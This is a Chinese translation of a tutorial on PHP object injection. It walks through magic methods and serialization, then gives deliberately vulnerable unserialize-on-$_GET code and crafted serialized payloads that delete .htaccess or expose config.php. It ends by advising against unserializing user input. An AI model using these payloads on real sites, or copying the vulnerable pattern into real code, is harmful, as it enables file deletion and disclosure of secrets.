理解php对象注入

0x00 背景

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原文:http://securitycafe.ro/2015/01/05/understanding-php-object-injection/

php对象注入是一个非常常见的漏洞，这个类型的漏洞虽然有些难以利用，但仍旧非常危险，为了理解这个漏洞，请读者具备基础的php知识。

0x01 漏洞案例

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如果你觉得这是个渣渣洞，那么请看一眼这个列表，一些被审计狗挖到过该漏洞的系统，你可以发现都是一些耳熟能详的玩意（就国外来说）

WordPress 3.6.1

Magento 1.9.0.1

Joomla 3.0.3

Ip board 3.3.5

除此之外等等一堆系统，八成可能大概在这些还有其他的php程序中还有很多这种类型的漏洞，所以不妨考虑坐下喝杯咖啡并且试着去理解这篇文章。

0x01 PHP类和对象

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类和变量是非常容易理解的php概念，打个比方，下面的代码在一个类中定义了一个变量和一个方法。

#!php
<?php

class TestClass
{
    // 一个变量

    public $variable = 'This is a string';

    // 一个简单的方法

    public function PrintVariable()
    {
        echo $this->variable;
    }
}

// 创建一个对象

$object = new TestClass();

// 调用一个方法

$object->PrintVariable();

?>

它创建了一个对象并且调用了 PrintVariable 函数，该函数会输出变量 variable。

如果想了解更多关于php面向对象编程的知识 请点： http://php.net/manual/zh/language.oop5.php

0x02 php magic方法

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php类可能会包含一些特殊的函数叫magic函数，magic函数命名是以符号“__”开头的，比如 __construct, __destruct, __toString, __sleep, __wakeup 和其他的一些玩意。

这些函数在某些情况下会自动调用，比如:

__construct 当一个对象创建时调用 (constructor) __destruct 当一个对象被销毁时调用 (destructor) __ toString当一个对象被当作一个字符串使用

为了更好的理解magic方法是如何工作的，让我们添加一个magic方法在我们的类中。

#!php
<?php

class TestClass
{
    // 一个变量

    public $variable = 'This is a string';

    // 一个简单的方法

    public function PrintVariable()
    {
        echo $this->variable . '<br />';
    }

    // Constructor

    public function __construct()
    {
        echo '__construct <br />';
    }

    // Destructor

    public function __destruct()
    {
        echo '__destruct <br />';
    }

    // Call

    public function __toString()
    {
        return '__toString<br />';
    }
}

// 创建一个对象
//  __construct会被调用

$object = new TestClass();

// 创建一个方法
//  'This is a string’ 这玩意会被输出

$object->PrintVariable();

// 对象被当作一个字符串
//  __toString 会被调用

echo $object;

// End of PHP script
// php脚本要结束了， __destruct会被调用

?>

我们往里头放了三个 magic方法，__construct, __destruct和 __toString，你可以看出来，__construct在对象创建时调用， __destruct在php脚本结束时调用，__toString在对象被当作一个字符串使用时调用。

这个脚本会输出这狗样：

__construct 
This is a string 
__toString 
__destruct

这只是一个简单的例子，如果你想了解更多有关magic函数的例子，请点击下面的链接：

http://php.net/manual/zh/language.oop5.magic.php

0x03 php对象序列化

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php允许保存一个对象方便以后重用，这个过程被称为序列化，打个比方，你可以保存一个包含着用户信息的对象方便等等重用。

为了序列化一个对象，你需要调用 “serialize”函数，函数会返回一个字符串，当你需要用到这个对象的时候可以使用“unserialize”去重建对象。

让我们在序列化丢进那个例子，看看序列化张什么样。

#!php
<?php

// 某类

class User
{
    // 类数据

    public $age = 0;
    public $name = '';

    // 输出数据

    public function PrintData()
    {
        echo 'User ' . $this->name . ' is ' . $this->age
             . ' years old. <br />';
    }
}

// 创建一个对象

$usr = new User();

// 设置数据

$usr->age = 20;
$usr->name = 'John';

// 输出数据

$usr->PrintData();

// 输出序列化之后的数据

echo serialize($usr);

?>

它会输出

User John is 20 years old. 
O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John”;}

你可以看到序列化之后的数据中 有 20和John，其中没有任何跟类有关的东西，只有其中的数据被数据化。

为了使用这个对象，我们用unserialize重建对象。

#!php
<?php

// 某类

class User
{
    // Class data

    public $age = 0;
    public $name = '';

    // Print data

    public function PrintData()
    {
        echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
    }
}

// 重建对象

$usr = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}');

// 调用PrintData 输出数据

$usr->PrintData();

?>

着会输出

User John is 20 years old

0x04 序列化magic函数

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magic函数constructor (__construct)和 destructor (__destruct) 是会在对象创建或者销毁时自动调用，其他的一些magic函数会在serialize 或者 unserialize的时候被调用。

__sleep magic方法在一个对象被序列化的时候调用。 __wakeup magic方法在一个对象被反序列化的时候调用。

注意 __sleep 必须返回一个数组与序列化的变量名。

#!php
<?php

class Test
{
    public $variable = 'BUZZ';
    public $variable2 = 'OTHER';

    public function PrintVariable()
    {
        echo $this->variable . '<br />';
    }

    public function __construct()
    {
        echo '__construct<br />';
    }

    public function __destruct()
    {
        echo '__destruct<br />';
    }

    public function __wakeup()
    {
        echo '__wakeup<br />';
    }

    public function __sleep()
    {
        echo '__sleep<br />';

        return array('variable', 'variable2');
    }
}

// 创建一个对象，会调用 __construct

$obj = new Test();

// 序列化一个对象，会调用 __sleep

$serialized = serialize($obj);

//输出序列化后的字符串

print 'Serialized: ' . $serialized . <br />';

// 重建对象，会调用 __wakeup

$obj2 = unserialize($serialized);

//调用 PintVariable, 会输出数据 (BUZZ)

$obj2->PrintVariable();

// php脚本结束，会调用 __destruct 

?>

这玩意会输出：

__construct 
__sleep 
Serialized: O:4:"Test":2:
{s:8:"variable";s:4:"BUZZ";s:9:"variable2";s:5:"OTHER";} 
__wakeup 
BUZZ 
__destruct 
__destruct

你可以看到，我们创建了一个对象，序列化了它（然后__sleep被调用），之后用序列化对象重建后的对象创建了另一个对象，接着php脚本结束的时候两个对象的__destruct都会被调用。

更多相关的内容

http://php.net/manual/zh/language.oop5.serialization.php

0x05 php对象注入

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现在我们理解了序列化是如何工作的，我们该如何利用它？事实上，利用这玩意的可能性有很多种，关键取决于应用程序的流程与，可用的类，与magic函数。

记住序列化对象的值是可控的。

你可能会找到一套web程序的源代码，其中某个类的__wakeup 或者 __destruct and其他乱七八糟的函数会影响到web程序。

打个比方，我们可能会找到一个类用于临时将日志储存进某个文件，当__destruct被调用时，日志文件会被删除。然后代码张这狗样。

#!php
<?php 

class LogFile
{
    // log文件名

    public $filename = 'error.log';

    // 某代码，储存日志进文件

    public function LogData($text)
    {
        echo 'Log some data: ' . $text . '<br />';
        file_put_contents($this->filename, $text, FILE_APPEND);
    }

    // Destructor 删除日志文件

    public function __destruct()
    {
        echo '__destruct deletes "' . $this->filename . '" file. <br />';
        unlink(dirname(__FILE__) . '/' . $this->filename);
    }
}

?>

某例子关于如何使用这个类

#!php
<?php

include 'logfile.php';

// 创建一个对象

$obj = new LogFile();

// 设置文件名和要储存的日志数据

$obj->filename = 'somefile.log';
$obj->LogData('Test');

// php脚本结束啦，__destruct被调用，somefile.log文件被删除。

?>

在其他的脚本，我们可能又恰好找到一个调用“unserialize”函数的，并且恰好变量是用户可控的，又恰好是$_GET之类的什么玩意的。

#!php
<?php

include 'logfile.php';

// ... 一些狗日的代码和 LogFile 类 ...

// 简单的类定义

class User
{
    // 类数据

    public $age = 0;
    public $name = '';

    // 输出数据

    public function PrintData()
    {
        echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
    }
}

// 重建 用户输入的 数据

$usr = unserialize($_GET['usr_serialized']);

?>

你看，这个代码调用了 “LogClass” 类，并且有一个 “unserialize” 值是我们可以注入的。

所以构造类似这样的东西：

script.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John”;}

究竟发生了什么呢，因为输入是可控的，所以我们可以构造任意的序列化对象，比如：

#!php
<?php

$obj = new LogFile();
$obj->filename = '.htaccess';

echo serialize($obj) . '<br />';

?>

这个会输出

O:7:"LogFile":1:{s:8:"filename";s:9:".htaccess";} 
__destruct deletes ".htaccess" file.

现在我们将构造过后的序列化对象发送给刚才的脚本：

script.php?usr_serialized=O:7:"LogFile":1:{s:8:"filename";s:9:".htaccess”;}

这会输出

__destruct deletes ".htaccess" file.

现在 .htaccess 已经被干掉了，因为脚本结束时 __destruct会被调用。不过我们已经可以控制“LogFile”类的变量啦。

这就是漏洞名称的由来：变量可控并且进行了unserialize操作的地方注入序列化对象，实现代码执行或者其他坑爹的行为。

虽然这不是一个很好的例子，不过我相信你可以理解这个概念，unserialize自动调用 __wakeup 和 __destruct，接着攻击者可以控制类变量，并且攻击web程序。

0x06 常见的注入点

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先不谈 __wakeup 和 __destruct，还有一些很常见的注入点允许你利用这个类型的漏洞，一切都是取决于程序逻辑。

打个比方，某用户类定义了一个__toString为了让应用程序能够将类作为一个字符串输出（echo $obj） ,而且其他类也可能定义了一个类允许__toString读取某个文件。

#!php
<?php 

// … 一些include ...

class FileClass
{
    // 文件名

    public $filename = 'error.log';

    //当对象被作为一个字符串会读取这个文件

    public function __toString()
    {
        return file_get_contents($this->filename);
    }
}

// Main User class

class User
{
    // Class data

    public $age = 0;
    public $name = '';

    // 允许对象作为一个字符串输出上面的data

    public function __toString()
    {
        return 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
    }
}

// 用户可控

$obj = unserialize($_GET['usr_serialized']);

// 输出 __toString

echo $obj;

?>

so,我们构造url

script.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John”;}

再想想，如果我们用序列化调用 FileClass呢

我们创建利用代码

#!php
<?php

$fileobj = new FileClass();
$fileobj->filename = 'config.php';

echo serialize($fileobj);

?>

接着用生成的exp注入url

script.php?usr_serialized=O:9:"FileClass":1:{s:8:"filename";s:10:"config.php”;}

接着网页会输出 config.php的源代码

#!php
<?php

$private_data = 'MAGIC';

?>

ps:我希望这让你能够理解。

0x07 其他的利用方法

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可能其他的一些magic函数海存在利用点：比如__call 会在对象调用不存在的函数时调用，__get 和 __set会在对象尝试访问一些不存在的类，变量等等时调用。

不过需要注意的是，利用场景不限于magic函数，也有一些方式可以在一半的函数中利用这个漏洞，打个比方，一个模块可能定义了一个叫get的函数进行一些敏感的操作，比如访问数据库，这就可能造成sql注入，取决于函数本身的操作。

唯一的一个技术难点在于，注入的类必须在注入点所在的地方，不过一些模块或者脚本会使用“autoload”的功能，具体可以在这里了解

http://php.net/manual/zh/language.oop5.autoload.php

ps:去读那狗屎的代码

0x08 如何利用或者避免这个漏洞

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别在任何用户可控的地方使用“unserialize”，可以考虑“json_decode“

0x09 结论

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虽然很难找到而且很难利用，但是这真的真的很严重，可以导致各种各样的漏洞。